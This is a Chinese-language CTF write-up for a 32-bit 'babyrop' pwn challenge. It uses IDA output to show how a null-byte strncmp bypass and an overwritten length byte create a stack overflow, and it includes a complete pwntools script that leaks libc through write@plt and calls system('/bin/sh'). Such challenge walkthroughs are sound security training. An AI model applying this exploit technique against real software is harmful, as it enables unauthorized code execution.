测试一道pwn题_多漏洞组合-堆栈格式化

checksec机制和file信息
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

./babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter 
/lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
运行
直接让输入字符串~
IDA分析
ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h] 231

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);              // 200
  else
    result = read(0, &buf, a1);                 // a1  可以控制  
  return result;
}

这个漏洞点,我可以看了好久,自己也没遇见过,下次长记性了,这是利用返回数字去扩大了栈的输入字节数。

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}
int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch] 44
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);                     // 32
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;   #这里的v5就是a1  这里return后 将返回值赋值给了下一个函数
}

现在需要确定的就是我们是否可以将v5覆盖成一个比较大的数字

-0000002D                 db ? ; undefined
-0000002C buf             db ?				|   #数据是从上面往下面传入的
-0000002B                 db ? ; undefined		|
-0000002A                 db ? ; undefined		|
-00000029                 db ? ; undefined		|
-00000028                 db ? ; undefined	<-------
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025 var_25          db ? 				 #v5
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
简单分析
  1. 注意点:在IDA查看到内存数据 dd db dw 利用D可以转换类型 不同数据类型之间的字节数不同,会造成填充数据的时候size确定问题。
  2. 0x2c-0x25 = 0x7 ,填充0x7个数据然后填充"\xff" 扩大数据size,这里我们使用onegadget,所以不需要将padding的大小设置的太大。
  3. 这里还需要知道的就是libc_base 因为开启了Full RELRO 利用got表复写术,write就是很好的一个泄露函数,“alarm”也称闹钟函数。
  4. 这里先补充一点数据在got表复写数据存放的先后顺序
往栈里面压入的顺序 如下
size #大小
buf #buf的位置
1 #文件描述符
@PLT
EXP

脚本中有onegadget 也有systen("/bin/sh"),分开去看

#!/usr/bin/env python
#coding=utf8 
from pwn import* 
context.log_level = 'debug' 
context.terminal =['gnome-terminal','-x','bash','-c'] 
p = process("./babyrop.babyrop")
libc = ELF("libc.so.6")  
libc = ELF("libc-2.23.so")
elf = ELF("./babyrop.babyrop")

libc_base = 0xf7e05000
one_gadget_offset = 0x3a80e

gadget_addr = libc_base + one_gadget_offset
print("[+]---->gadget_addr = ") + hex(gadget_addr)
#gdb.attach(p,"b* "+ "0x804871F")
payload = "\x00"*7 + "\xff"  #
p.sendline(payload)

payload1 = "A"*0Xe7 + "B"*4 + p32(elf.plt['write'])+p32(0x80487D0)+p32(1)+p32(elf.got['alarm'])+p32(4)
p.recvline("Correct\n") 
#gdb.attach(p)
p.sendline(payload1)

write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols['alarm']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

print ("[+]---->write_addr = ") +hex(write_addr)
print ("[+]---->libc_base = ") +hex(libc_base)
print ("[+]---->system_addr = ") +hex(system_addr)
print ("[+]---->bin_sh_addr = ") +hex(bin_sh_addr)
print ("[+]---->write_plt = ") +hex(elf.plt['write'])
print ("[+]---->write_got = ") +hex(elf.got['write'])
#p.recv()
#gdb.attach(p)
payload2 = "A"*0Xe7 + "B"*4 + p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值